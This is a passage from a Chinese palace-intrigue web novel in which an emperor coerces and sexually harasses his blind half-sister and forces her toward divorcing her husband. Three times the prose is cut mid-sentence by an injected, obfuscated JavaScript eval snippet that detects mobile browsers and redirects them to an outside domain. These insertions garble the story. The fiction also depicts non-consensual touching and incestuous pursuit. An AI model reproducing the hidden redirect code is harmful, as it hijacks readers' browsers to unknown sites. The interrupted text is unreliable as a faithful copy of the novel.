他薛怀义真够小人的！浣衣局那是犯了大错的宫人呆的地儿，全年干不完的活，受不完的罪，简直是无边苦海。三喜四庆跟着她没挨过打骂，连句重话也不曾有，如何撑得下去！ 不行，必得想法子将她们解救出来。 34. 人伦 十八岁的王媖，做过两件出格的事：喜欢谢琰和在自己的生日宴上酩酊大醉。 她撑开发沉的眼皮，偏眼看着窗台上的一缕金光，清一清浑浊的嗓子，启齿：“什么时辰了？” 银杏守在寝殿里侍候，倒了温水端过去，空着的手取了软枕塞到王媖背后好叫她靠坐，不慌不忙安顿完，方才回答：“回娘娘，快巳时了。” 王媖谨守礼节，每天鸡鸣时分准时起床，贪睡至巳时，简直破天荒。 王媖非常懊恼，两弯细柳眉将将压住了眼皮：“昨晚，一切都好吧？” 她没醉到神志不清过，不能保证那时的自己会有像清醒时一样墨守成规、八面玲珑的自信。 银杏知道她所关注的，不吐不快：“娘娘，您跟那人，自从您被钦定为太子妃那刻起，就没任何可能了，您总该放下了，别再胡思乱想了……昨晚幸好这屋子里没外人，若不然，指定有一场腥风血雨。” 循规蹈矩十几年的千金小姐，遇上酒，彻底失控了——在空荡荡的屋子里，看见了无数个谢琰，一遍又一遍地质问他，为什么那么胆小，为什么眼睁睁看她拴上太子妃的枷锁，为什么不来王家提亲……太多太多的不甘，在静谧的空气、萧瑟的月光下流转着，经久不息。 问了，笑了，哭了，做了噩梦，梦里也在垂泪。 银杏终于意识到，端庄大气的凤袍下，长满了爱而不得的遗憾。 烈酒的作用下，昨夜的王媖得到了入骨的麻痹，她脑袋空空，对不久前的撕心裂肺全无印象。 “我明白……”银杏一阵见血的话，令王媖有些羞愧，不由得抓住了身下的褥子，“我明白的，不会了，再也不会了。” 与其是向银杏表决心，不若说是喃喃自语，字字敲打自己。 银杏心疼她，尽管忠言逆耳，但不忍继续，拣了些家常话缓和气氛。 正絮叨着，打外边走进一个宫女，银杏定睛认了认，不觉讶异：“青萍？” 乾清宫的宫女，青天白日的，不在乾清宫好好当差，来坤宁宫走动做什么？ 宿醉后，王媖脸色不大好看，偏她十分注重仪容仪表，不愿邋里邋遢的落人口实，转过脸去，心不在焉地听屋子里的对话。 青萍先向王媖福身，后对银杏点点头，说明来意：“陛下请皇后娘娘过去瞧一瞧十公主，陪着说说话。” 今早，薛柔说身边空空的，也没个人说话解闷，让青萍霁蓝上坤宁宫请一请皇后；毕竟是姑嫂两个，在一处谈谈讲讲很正常，两人便没支吾，由青萍出面，首先去御前，取得皇帝首肯，之后就造访了坤宁宫。 银杏相当诧异，甚至觉得诡异。 那十公主眼高于顶，与皇后不对盘，少得可怜的几次碰面里，或是翻白眼，或是嘴里嗤笑，很是不耐烦，如此讨厌的一个人，主动请皇后前去作伴？ ……黄鼠狼给鸡拜年，准没好事！ 王媖何尝不奇怪，但皇帝张嘴了，总不好推三阻四，便略施粉黛出门了。 薛柔放弃作践自己，慢慢恢复一日三餐，药剂药膏也正常使着，不为旁的，全为了给她卖命而遭殃的三喜四庆，她千万要救她们脱身。 王媖来时，薛柔以素纱蔽目，端坐于梳妆镜前，她特别要求霁蓝给自己盘了发髻，点了红妆。 见王媖，即薛怀义的妻子，她自然要体体面面的，即便而今困顿，亦磨灭不了她是大周最尊贵的公主的傲骨。 因是私事，薛柔便打发走了下人，稍作酝酿，气息下沉道：“三喜四庆被弄去浣衣局了，我很担心。” 王媖是皇后，但她不承认，索性省去称呼，直抒胸臆了。 王媖善解人意，体谅薛柔娇纵成性，不追究她的失礼，自行就座，道：“那妹妹的意思是？” 追随声源，薛柔朝王媖的方位转头，头颅端得很正：“皇帝面前，你说话比我好使，所以……” 她从来没求过谁，况且今朝有所托的对象是王媖，和薛怀义一条船上的人，她真的低不下头，开不了口。 她半含半露的说辞，王媖领会到了，巧笑嫣然道：“妹妹何以笃定陛下能听我的呢？” 明明，她才是牵动他神思的人啊。 薛柔预想过王媖会加以为难，谁让她虎落平阳，人人可欺了呢。 “你是皇帝明媒正娶的，执掌凤印，你的话，皇帝得听。” 脑海里闪过过往的喜怒哀乐，恍如隔世，何止悲凉！ 她看不见王媖，无从得知王媖直射过来的视线，有艳羡，有探究，有嘲弄，仿佛盛满了世间百态。 “那妹妹又何以认定我不会拒绝呢？” 王媖是个人，有着爱恨嗔痴的凡人，固然以贤淑大方示人，可这不等于她来者不拒，尤其是薛柔——明目张胆夺走她的丈夫关注的人。 他是皇帝，重重红墙青瓦的主人，主宰一切，薛柔在他的羽翼下，可以不计后果，恣意妄为。不像她，连直面真心也不能够。 乖顺如王媖，也会抱怨，偶尔也会嫉妒。 掺着笑意的反问敲打在耳膜上，轻悄，温柔，薛柔自然联想到王媖那张纯良无辜的粉脸。 所有人都会向着王媖，无理取闹的唯有臭名昭著的十公主薛柔罢了。 对答如流的本事仿佛随着这遭巨变而丧失了，薛柔无言以对。 是啊，王媖是薛怀义那头的，有什么立场帮她？ 薛柔抻直的脖颈渐渐弯折了，盛气不复，但王媖并无雪耻后的畅意，胸口好似塞了一团棉花，堵得她透不过气来。 “我会找时间劝一劝的。”王媖起身，“但究竟成不成，且看她们两个的造化吧。” 应当独善其身的，然而她没办到。 被围在皇帝丰满的羽翼之下，薛柔不开心，她看得出来。 她自己何尝不是呢。 同是天涯沦落人，帮便帮了吧。 薛柔不感激王媖，一点都不。 她是薛怀义的人，他们联手霸占了大周江山，十恶不赦。 今儿是十五，照理，皇帝须摆驾坤宁宫，陪皇后用晚膳，而后留宿坤宁宫。 但规矩是死的，人是活的。薛怀义继承皇位两月有余，向来止步于同进晚膳。 王媖却也逆来顺受，笑盈盈恭送他离开，笑盈盈回屋吹灯就寝。 “这么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799974|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的月亮，一月也只一次。”王媖在仰头看月亮，银杏有话说，慢慢站过去，举高双目，“娘娘，您给十公主求情，奴婢不敢插嘴，但有些话，奴婢憋了好久了，今儿实在忍不下去了。” 满月，月色明媚，映在王媖仰起的面庞上。 “你说，我听着。” 接下来的话，银杏在肚子里过了无数遍，只欠东风，眼下东风已至，不消耗时斟酌，流利脱口：“老爷老夫人一直牵挂着您，希望您早日有个自己的孩子，前儿个还差人来问了。娘娘，今晚陛下过来，您就挽留一下吧……这个坎，总得往过跨的呀。” 王媖静静听罢，声音淡如杯中温水：“改日吧，今天我不太舒服。” 头重脚轻，心情酸涩，不舒服，处处不舒服。 银杏还打算劝谏，却闻外面通知御驾到了，无法，将就按下，随王媖出门迎驾。 饭桌上，一如既往静悄悄，不像夫妻间难得的团圆，反像不得不完成的任务，索然乏味。 饭后漱口完毕，王媖先一步站起留下打算离去的薛怀义：“陛下请留步，臣妾有些话，想单独说与陛下听。” 程胜不觉两眼放光，银杏捎带瞥见，暗中牢骚不断：想错了不是？皇后才不是为自己谋算，是一心为那十公主出面呢。 薛怀义不见意外之色，摆手屏退众人，背手逆向月辉站立，脸面模糊不清：“若是替那两个奴婢求情，皇后便就此打住吧。罚她们去浣衣局，已然是朕法外容情的结果。” 王媖猜不透薛怀义，反过来，薛怀义要了解王媖，简直到了目无全牛的境界。 王媖好似被深深的无力感裹挟了，吐出来的音节摇摇欲坠：“陛下不是分外在意十妹妹吗，何故咄咄相逼，就放那两个宫女一条活路，让十妹妹踏实养病不好吗？” 或许是因为今晚的月亮太完美，而她的心残缺不全，又无从填补的缘故，她开始烦恼，开始沮丧，开始失控。 月亮缓缓爬升，在薛怀义的脸上留下足迹，明暗交替，神妙难言。 “打抱不平不是中宫之责。”他哧的一笑，“皇后，你越界了。” 薛柔是根毒刺，长在他的眼睛里，拔或不拔，如何拔之而后快，全凭他做主。 越界吗？越界啊。 王媖跟着袒露笑容，月光未眷顾于她，她的容色惨白如霜：“先不论臣妾与陛下夫妻一体，您的妹妹便是臣妾的妹妹，臣妾多多关照她，乃分内之事；”王媖将腰肢挺得笔直，大家闺秀是她，母仪天下也是她，“光看事实，当初太后将十妹妹托付给的人，是臣妾，并非陛下。” “皇后，你失言了。” 月色如练，一段段勾勒出一个瘦高的轮廓，从头到脚，从躯干到四肢，神秘而危险。 “陛下是在警告臣妾吗？”压抑已久的情思，轰然冲破禁忌，以排山倒海之势席卷着王媖的头脑——她逾越了大家闺秀笑不露齿的规定，开怀大笑起来，“臣妾一直好奇，从嫁入东宫的第一日起就好奇——陛下拿臣妾当什么，是您遮掩有辱人伦的遮羞布吗？” 当初的太子与十公主，现今的皇帝与薛柔。 不三不四，不伦不类。 35. 龌龊 月圆之夜，王媖与薛怀义，有名无实的夫妻，冷漠疏离的帝后，面对面，僵持不下。 王媖想，自己大约是疯了，竟敢给当朝皇帝扣有辱人伦的帽子。 月光亮白，薛怀义的眼珠黑不见底，似深渊，一旦掉进去，将万劫不复。 “说什么，皇后不妨再说一遍。” 若他的眼神好比深渊，那他的声音则如漩涡，深沉而致命。 薛怀义鲜少将情感流露在外，他压抑惯了，可现在，水墨画般的眉眼间，迸起点点星火，瞬息燎原。 王媖一览无遗，大骇，广袖之下的素手止不住震颤，一路牵扯到了脸庞——她不敢同他继续对视，或者说，不敢再接受他的审视。 “陛下明明听见了，臣妾没有重复的必要了。” 薛怀义生得高，却不壮，白日龙袍加身，尚可道一句气宇轩昂，眼前头顶月亮，背靠夜色，身上那股子阴郁之气便猖獗起来，活似一个嗜血鬼魅，不苟言笑像，微微一笑更像。 于是，王媖在胆寒，薛怀义在浅笑：“哦，就算朕有悖人伦，那又如何？” 他承认了，大大方方地承认了，侧面佐证了，在他心目中，王媖以及整个王家，好似脚下的烂泥，欺便欺了，辱便辱了，不值一提。 “她姓薛，是你的妹妹。”莫名地，王媖笑了，“兄妹逾墙，陛下觉得合适吗？” 这种丑事，如果被发现张扬出去，整个皇室的脸面就都丢完了。 兄妹逾墙？她可是从未把他看作兄长，而他亦从未把她当作妹妹，这何尝不算一种默契呢。 “这天下归朕，朕说合适，就一定合适。” 薛怀义眉尾高扬，极致自负。 王媖受到了极大的冲击，根本难以置信：“这算什么，这算什么？你们简直无可救药了……” 兄妹之间，失了界限，不嫌膈应，不嫌恶心吗？ “皇后，你是个聪明人，”薛怀义毫无征兆地冷下脸来，“理当知晓朕最不喜欢有人试图左右朕的心思。” 王媖终于辨别出在他眉宇间星火燎原的是什么了——愠怒，是愠怒。 “臣妾……恭送陛下。” 天子一怒，血流成河，王媖深刻明白这个道理，逼迫自己弯曲脊背，向皇权服输。 丢弃王家乃计划中的一环，但不是现在，薛怀义乐得睁一只眼闭一只眼，洋洋洒洒离去。 借酒浇愁也是会上瘾的，正如今晚的王媖，撇走所有下人，自顾自抱着一坛酒往喉咙深处浇灌。 她有心斩断情缘，回归正轨，奈何树欲静而风不止。 是她异想天开，自作多情……真是个彻头彻尾的笑柄。 听闻薛怀义去了王媖宫里，薛柔一夜没合眼，操心到早上，迫不及待推青萍前去邀请王媖到此一叙。 王媖头痛欲裂，面目浮肿，贸然出门有毁形象，果断回绝，并交代给青萍一句话：仁至义尽，爱莫能助。 昨夜坤宁宫对峙，仅有限的几个人目睹，这些人口风严谨，没外传半点，薛柔当然不知情，当王媖是惺惺作态，敷衍了事，心里存着气，顺手砸了漱口中药味的清茶，呵斥所有人都滚出去。 青萍霁蓝不愧是薛怀义的得力帮手，一丝一毫不带慌的，低身拾掇好狼藉，款款问起她中午想吃点什么，好传令下去。 薛柔牙关咬得死死的，一言不发。 她们俩有经验，兀自报了几样菜名，在沉默的空气下，约着出去。 下月初大军开拔，朝廷上下一片忙碌，不过薛怀义很善于一心多用，常常是一面批阅奏折，一面召见大臣，同时不落下听左右报告薛柔的日常起居。 十公主被软禁在乾清宫的风儿，近来吹到了前朝，招引来不少言论，消极的居多，纷纷传皇帝这是效仿当年的唐明皇，只是唐明皇是对儿媳，他是对自个儿的妹妹。 新皇帝年轻，手腕可不青涩，上位几个月，由上自下一顿大刀阔斧，朝廷日新月异。众人实际看在眼里，不禁人人自危，自无暇管皇帝的家事，唯私下里嘀咕几句算了。 一忙就忙到了出征前夕，薛怀义搁置手头上一应事务，款款行至薛柔住处。 多日未见，她气色好多了，脸也圆润了些。他向一旁垂头躬身的青萍霁蓝侧目，懒声懒气道：“干得不错，下去领赏吧。” 薛柔刻薄的话音自青萍霁蓝的身形间穿过，直抵薛怀义耳际：“你还真是赏罚分明的好皇帝呢。” 后边走的霁蓝把门带上了。 一瞬间，门里门外被隔绝成了两个世界。 她眼疾不好，看不见，薛怀义便海纳百川，近她身侧，解下眼纱，以指尖蘸取预先调制完成的棕褐色药膏，纡尊降贵，替她涂抹均匀。 “抬头。” 丝丝缕缕龙涎香钻入鼻腔，刺激着嗅觉。 往昔父皇也爱熏龙涎香，那时薛柔可喜欢闻了，但此时此刻，龙涎香移去了薛怀义的身上，十足变了味，多嗅一丝都令人反胃。 “这是咱们之间的恩怨，你休牵扯旁人。”薛柔是朵玫瑰，带刺，谁采撷谁扎手，“薛怀义，别让我看不起你。” 药膏暴露在空气中时间长了，会干的，到时白白脏了手。徒劳用功，薛怀义不允许。 他略微用力，扶起那尖俏而固执的下巴，湿漉漉的指尖在薛柔眼周碾磨，打转；所过之处，水光潋滟，别有风情。 “明日大军启程，朕会上承安门饯行，妹妹随朕一起吧。”于他身边，光明正大地送走崔介，斩断情丝。 他不理会她的抗议。 大军明日离京，薛柔听说了，打这院子里扎堆交头接耳的宫人们那得知的。 此地守卫森严，同处一座宫闱的母后的信儿且传不进来，偏偏前朝之事被议论得热火朝天……到底是谁从中操纵，她一清二楚。 “龌龊。” 眼周密密麻麻地发痒，心里则绵绵密密地作痛。前者是由薛怀义指腹的薄茧引起的，后者是与即将崔介分道扬镳、恩断义绝带来的。 她说他龌龊，薛怀义不否认。 他将她的下巴抬得更高，而他稍稍弯着腰，目光牢牢摄住她微张的嘴唇，姿势很是暧昧，仿佛下一刻他就要吻她。 他们好像一对缠绵悱恻的恋人。 “如此静好的时光，还是不提那些不愉快的事了，便说说你的那两个婢女如何？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799975|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛怀义的呼吸吐在薛柔的唇畔，双方的唇挨得极近，咫尺之距，倘若谁动一下，一定会贴上去的。 视觉不济事，其他的感觉便敏锐起来，薛柔无比确切地感知到鼻端所萦绕的气息，如苔藓，湿湿润润。 “你若尚存一点良知，你就趁早放人，其余的七七八八，我没兴趣陪你消遣。” 她首先承受不住，忍着下颌骨的疼痛，转过头，避开正上方的耽耽虎视。 她躲，那是她的一厢情愿，薛怀义复把她的脸掰回来，力道蛮横，手法绝情，不照顾她因痛楚而颦蹙的眉头。 “朕且给你一个拯救她们的机会好了——”他慢条斯理道，“你求求朕，朕便考虑施舍她们一条生路。嗯？” 求，施舍，一个胜一个自满的词，他真是把自己当主宰天地的神明了，够无耻的。 “你做梦，”薛柔斩钉截铁道，“要我求你这个贱胚子，我宁肯死了去。” 普天之下，数次怒骂皇帝以后平安无事的，怕仅有薛柔一人了。 薛怀义挑眉笑道：“也对，区区两个奴婢，两条贱命，倘不小心残了死了，几两银子打发的事。” 薛柔抓住关键，无神的双目一眨不眨：“就是贱命，那也是归到我手底下的贱命，要杀要剐，轮不到你越俎代庖！” 人尽皆知薛柔心狠手辣，教训起奴才来毫不手软，可这些年来，她打骂是打骂，目的只是为了出气，绝不会干出草菅人命的勾当来。 薛怀义假仁假义地装了十来年，属于是笑里藏刀，杀人于无形，他若起了杀心，那必然见血。 简言之，薛柔是纸老虎，花拳绣腿不足为惧，薛怀义才是真阎罗，一击毙命。 薛怀义挠挠她的下巴，恍惚就像她以前挠爱宠的光景：“是么？俗话说打狗看主人，你这个主人且自身难保，你的狗自然是软柿子，软弱可欺了。” 薛柔竭力扭动脖颈，终敌不过薛怀义的魔掌，下半张脸稳固地困在他的禁锢之下。 她气笑了：“堂堂皇帝，难道就这点花样吗？有能耐，你掐死我，算报当年在我脚下当癞皮狗的仇，而不是借无辜之人耍威风！” 薛柔没来由地断定，薛怀义不会手下一用力掐死她。 可巧，薛怀义与薛柔，另类地心有灵犀，薛柔看似无端的笃定，其实蕴含着无穷底气——薛怀义会选择蹂躏她的身，践踏她的心，独独不会选择杀了她。 “妹妹心地歹毒，脑子却蠢钝如猪呢。”鬼使神差地，薛怀义用手指撬开她的唇齿，任由指纹同那柔软的舌尖及透明的津液不分畛域，他细细观察她因不适而晕红的脸庞，这让他忍不住发散思维，想到了她同崔介春宵依偎时的场面，情欲满面，孟浪淫|贱，“罢了，谁让妹妹这副蠢相儿，偏偏深得朕心呢。十妹妹，朕予你仔细思量的时间，几时想通彻了，告诉朕。那两个奴婢的死活，全在你的一念之间。” 薛怀义抽手，倒不急着擦指尖混沌不明的水渍，低眸瞧了阵子，吃吃一笑，方以帕子揩干。 那帕子顺势成了无用之物，如敝履般，被随意一丢，然后，朝上的一面烙上了一个大大的脚印。 门一开一合，薛怀义走了。 36. 诀别 翌日天不亮，薛柔便被摁在菱花镜前盛装打扮一通，隆重程度不亚于大喜那日。 过后，由宫女搀扶，出乾清宫，手再次辗转至一个硬得硌人的手掌中。 她知道，这手的主人为薛怀义。 薛怀义攥着她，不如说是擒着她，上了马车。承安门离此且有一段路，步行前去显然侮辱了他皇帝的身份。 薛柔十分庆幸自己现在看不见，既隔绝了薛怀义的下流嘴脸，又躲避了一会儿与崔介的遥遥对望。 都说时间是抚平一切创伤的良药，可放到她身上，完全不抵用，时间的流逝，只会不厌其烦地提醒她，今日过后，她和崔介真的有缘无分了。如此，叫她怎能安然无恙呢。 伴随着车轮碾过路面的声音，面前响起一个懒洋洋的人声：“开心些，毕竟这是妹妹最后一次出现在崔介眼里了，妹妹总不希望他到了沙场上与敌人硬碰硬时，因为忘不掉你而分心走神，最后——” “说够了没？”他的后文，薛柔一点也不感兴趣，冷冷打断，“他是天之骄子，上天永远眷顾他，哪里像你这等小人，自以为坐上皇位就从此高枕无忧了？哼……早晚有你跌得头破血流的时候！” “哦？”薛怀义口上玩味，嘴角却不由自主地压低了，他很不悦，“那妹妹就日日在朕身边祈祷上苍一直眷顾崔介吧，千万不要懈怠，战场瞬息万变，万事皆有可能。” 薛柔恨不能就地踩死他：“你把这江山当什么了，取悦自己功利心的工具吗？还有，崔介是为谁卖的命，是你，你反倒张着一张嘴胡说八道！你还是人吗？” 她怒火滔天，薛怀义怡然自得，眼梢瞥过车窗外，一笑而过：“到了。” 薛柔兜不住愤恨，从下车到登上城楼，上下牙紧紧咬合着。 城楼下，风声卷着兵器、盔甲冷的冷硬碰撞声于耳畔呼啸而过，炽热的火把，乌泱泱的士兵，昂首挺胸的烈马，以及阵前披盔戴甲、意气风发的薛通崔介，逐一在黑漆漆的世界显现。 薛柔捂住心口，拼命护住那颗沉沉浮浮的心脏，尽可能装得云淡风轻。 “可惜了，”肩膀忽然跌入一团温意，薛怀义自作主张搂住了她的肩，迎着楼下阵前崔介的仰望，“他在看你，多么依依不舍，而你依偎在朕的怀里，浑然不觉。好妹妹，你猜猜，他的心里是何种滋味，伤心，悔恨，亦或是嫉妒？” 薛柔在抖，由肩膀至整个躯体，甚至上下嘴唇：“你究竟，打的什么算盘……” 拆散她和崔介，棒打鸳鸯，看她爱而不得吗？他已经做到了。可，仅仅这样吗？ 大军在做最后整备，独独崔介身骑大马，举目仰视城楼顶端的两抹颜色，犹如谁家府邸大门口蹲着的石狮子，一动不动。 薛怀义要的就是这种结果。 他搂她搂得更紧，肆无忌惮地毁了兄妹边界，向崔介，向所有人，宣告他对薛柔的支配权。 “弃了崔介，来讨好朕，如何？” 她问他打的什么算盘，这便是他的回答。 上面的风景过分刺眼，多看一眼都是折磨，但崔介死也挪不开眼，他生了贪念，贪念在一步步扩张，蛊惑他把双眼睁得尽量大，将今日夺妻之辱牢牢印在心里。 一时，薛通提醒该出发了，崔介没接茬，也没收回意味深长的视线。 薛通又说刻不容缓，必须走了，崔介终于舍得眨眼，勒紧缰绳，腿夹马腹，调转方向，踏上茫茫征途。 崔介走了，眼中钉除了，薛怀义勾唇扬眉，暂时忘却适才抛出去的问题无果，畅意鸟瞰这恢宏城池、万里山河。 他得意忘形，薛柔没有，反反复复咀嚼过他的话，骤然寒毛直竖，奋力推搡包围自己的这堵人墙：“你怎么敢……怎么敢垂涎我？你不止卑鄙，你是下流！你真恶心！” 她已经语无伦次了。 她不认薛怀义是兄长，可抹不去他体内确实流着父皇的血的事实。 同有一个父亲，怎么可以……他果真是疯了，不惜违反人伦道德来拖她下地狱！ 男女力量悬殊，薛柔的抵死反抗，于薛怀义不过是中看不中用，他都不必使力，只消维持原状即可将这个搂抱推上牢不可破的境地。 “妹妹不觉得，兄妹逾墙才更刺激么？”黎明之际的空气混杂着他周身清淡的龙涎香，向颈窝洒下来，一枚潮气满满的吻覆上了薛柔侧颈上缀的黑痣，“押上你，赔上朕，不死不休——听起来就挺令人心动的呢。” 这枚吻相当有存在感，迟迟不肯离开她的皮肤，仿佛有更深一步的想法。 嘶……凉意卷着痛感来袭，薛柔倒吸一口凉气——这家伙竟然生生咬破了她的脖子！ “妹妹，你走神了。” 以她的鲜血惩罚她的不专心，薛怀义实在做出来了。 薛柔猛抬手按住脖子上的口子，费力地抽离他的环抱，靠感觉甩出去一巴掌，未及落在实处，手腕被当空扼住，随即听见了一道填满戏弄意味的语音：“乖一点，朕并不喜欢叫外人窥见妹妹红着脸却宁死不屈的样子。” 给他一人看就足够了，多余人瞧见，他会忍不住命人挖出那些人的眼珠子的。 他并不想做个暴君。 “呸！混蛋，无耻！”摆在眼前的现实：以薛柔现今的落魄处境，根本无力与他对抗，唯一能做的，无非拣些翻来覆去用过的词痛骂他而已，她当真被拨不开的绝望围堵了，“要我委身于你，除非我死了，否则，想都别想！” 她生而高傲，征服她，并不轻松，薛怀义早有心理预期，但他最不缺的就是耐性，足以耗到她输得一败涂地那日。 他坚信，首先求饶的人，一定是她。 “无妨，”他舔一舔唇边沾染的血迹，咸而涩，意外地不反感，“你我，你来日方长。” 来日方长这四个字，如同一道惊雷，狠狠劈醒了薛柔。 她才不要和他来日方长，他愿意发烂发臭，随他，她要逃，不顾一切地逃，逃得远远的！ 深夜，王媖又在对月酌酒，一杯又一杯，一瓶接一瓶，而白日城楼上那亲昵拥抱的人影始终清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799976|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰。 酒不起作用了。 银杏放心不下，枉顾王媖禁止入内的命令，推门进来，一把抱住王媖新开封的酒瓶子，苦苦哀求：“娘娘，别喝了，很伤身子的！” 争不过，王媖索性伏在小几上呜咽不休，素日引以为傲的仪态万千抛诸脑后，颠三倒四地诉说：“伤身子，伤的是我自己的身子，无人在意，无人在意的……” 银杏跟着心痛，抱住王媖的胳膊热切道：“娘娘，有人在意，有人在意的……” “家里人只关心我能不能坐稳中宫，至于我高不高兴、如不如意，他们不闻不问……”王媖坚强的外壳在日复一日的残酷摧残下，裂开一条沟壑，弥补不及，“他也是，只顾自己的前程，冷眼看我在这红墙内浑浑噩噩……他们，都是一样的，狠心，薄情。” 他指谁，王媖自己有数，银杏亦有人选。 “既然如此，”既然日子过得一团糟，使上九牛二虎之力也圆不好，“那我何必死守着那些书本上的禁忌，去自欺欺人呢。” 这一时刻，王媖想见谢琰的冲动达到了顶峰，无法自控，无可救药。 银杏闪着两团泪光，大惊失色道：“娘娘，您可别意气用事，万一铸成大错，就全完了呀！” 王媖噗嗤一笑：“错？皇帝且欲染指自己的亲妹妹，我不过是忘不掉一个人，想见一见他，何错之有？” 忠于真心，忠于欲望——如不能酣畅淋漓地疯一次，人世间这遭，岂不白来了。 王媖就着梦魇艰难入睡了，银杏手握一支百合花翠玉簪，持凝重之色，踱出门外。 谢琰爱花，独爱百合，王媖仰慕他，渐渐对百合花青眼相加，因特叫工匠打磨了那百合玉簪，天晴了戴，天阴了也戴。 王媖曾说：虽然他不一定看得见我佩戴时的模样，也一定不知我的倾慕之心，但能日日戴着他钟意的花儿，好似同他有了交集，不再只是我一个人的单相思了。 其实，谢琰遥遥见过王媖头戴百合花簪子的倩影，也后悔万分当时没有鼓起勇气当面对她道一句：它很衬你。 某日散朝，谢琰被一个小太监迎面撞到，谢琰秉性温和，不予苛责，反俯身拾起他的帽子，物归原主，并浅笑询问其有无磕着碰着。 那小太监毕恭毕敬接来帽子，颇有深意地看看谢琰的右侧腰身悬挂的香囊，说：“咱们娘娘欲往家中寄封家书，有些字句拿捏不定，而大人文采飘逸，又是国丈的学生，和咱们娘娘熟稔，娘娘有意向大人请教一番。今日傍晚，娘娘有空，届时娘娘会于坤宁宫静候大人。” 薛怀义成日或是在金銮殿上朝，或是在上书房日理万机，或是到回乾清宫和薛柔死磕，除这三个地儿以外，东西六宫活活成了冷宫。 所以，王媖不怕将谢琰请去坤宁宫说话。 香袋子里陡然变得沉沉的，加上小太监点到的这码子事，谢琰当时就有了论断，干涸的心突然涌入一股活水，焕发起无限生机。 他又是个有血有肉的人了。 “……好。” 37. 和离 黄昏，当谢琰同王媖久别重逢时，薛柔正被薛怀义逼仄于书案前，为一封和离书而口角不断。 “名存实亡的婚姻，留着有何用，不如早做了断。”薛怀义亲自研好墨，狼毫业已蘸匀墨水转移至薛柔掌中，只待她点下笔尖，“妹妹，莫负隅顽抗了，嗯？” 薛怀义不是个完美的猎人，做不到对猎物一视同仁，忍耐力时有时无，或者说，不疾不徐的一面只为薛柔开放。 比如眼下，因此迟迟未有决断的和离书，他已跟薛柔费了许多口舌，浪费了忙里偷来的一炷香。 薛柔浑身绷紧，尤属示人的一张面皮，光光滑滑，一丝情绪的波动起伏也不见，宛若一尊被抽干灵魂的木雕。 “我不，”她说，“我不了断，不和离。” 薛怀义向不打无准备的仗，此番为有备而来，力求快准狠，万无一失。 “宣人进来回话。” 他打个响指，程胜会意，引一溜人进屋。 “二嫂嫂……” “弟妹……” “十公主。” 最后的声音很冷漠，搅和在里头异常突兀。 薛柔辨别出来，适才呼唤的，逐一为崔家三房的小女儿崔斓、崔家长孙崔碌，以及她久未谋面的婆母余夫人。 薛柔嗓子里哼出一声凄惨的笑：“来得挺齐全。” 快赶上她和崔介成婚那日的排场了。 薛怀义似不经意般掠一眼脸色比其身上素缟更惨白的余夫人，悠哉悠哉道：“妹妹公主之身，自然受众人敬仰，便是把整个崔家的人召进宫来回话亦合情合理。” 她现今的境遇，怕是都不如街上叫卖的摊贩吧！薛柔掷了笔，正正好掷入了砚台中，墨水顿时四溅，斑斑点点沁在她烟柳色的衣裙上，十分醒目。 “你大费周章叫他们来，意欲何为啊？” 同薛柔愤慨的模样大相径庭，薛怀义全程春风满面，举手投足间，依稀有先帝和蔼宽柔的影子，旁观者来看，不禁会怪罪薛柔不知天高地厚。 余夫人明事理，赶忙前进半步说：“是我有话对公主说。” 并不是担忧薛柔屡屡口出狂言触怒皇帝而遭罪，皇帝不会冲她发火的，若怒，那么最后也是崔家倒霉。 皇帝对薛柔心存不轨，前有扣下薛柔之举，后有逼走崔介之实，自那日城楼上二人旁若无人拥抱低语起，余夫人便一颗心分明了。 这会程胜轻步进来，向薛怀义耳语两句，薛怀义颔首，目光于余夫人、薛柔转了个来回，说：“朕有事处理，你们……慢慢聊。” 言下，昂扬而去。 崔碌胆小，害怕薛怀义，刚刚一直埋头偷摸着察言观色，薛怀义一走，脖子可算敢伸直了，藏在袖子里的手也敢抬起来抹脑门上的冷汗了。 “……弟妹啊，你……你真的是受苦了。” 崔碌心眼子不坏，想起自个儿只跟皇帝呆了一小会便吓个半死，那薛柔日日夜夜被囚在这鬼地方，可想而知有多煎熬。 这么久以来，崔碌是第一个设身处地替她着想的人，薛柔不禁失笑，遥想当初，她还特瞧不上崔碌来着。 “你们来，也是准备劝我与崔介和离吗？” 她粗枝大叶，但该明晰的糊涂不了，薛怀义大张旗鼓搞这出，不正是人多势众来给她施压，逼她与崔介划清界限么。 崔碌藏不住事，抢白：“弟妹啊，那位逼得紧，非要你……我们也是走投无路了。” 对不同人，薛怀义采取了不同手段：以薛嘉要挟崔碌，以崔介威逼余夫人、崔斓，成效显著。 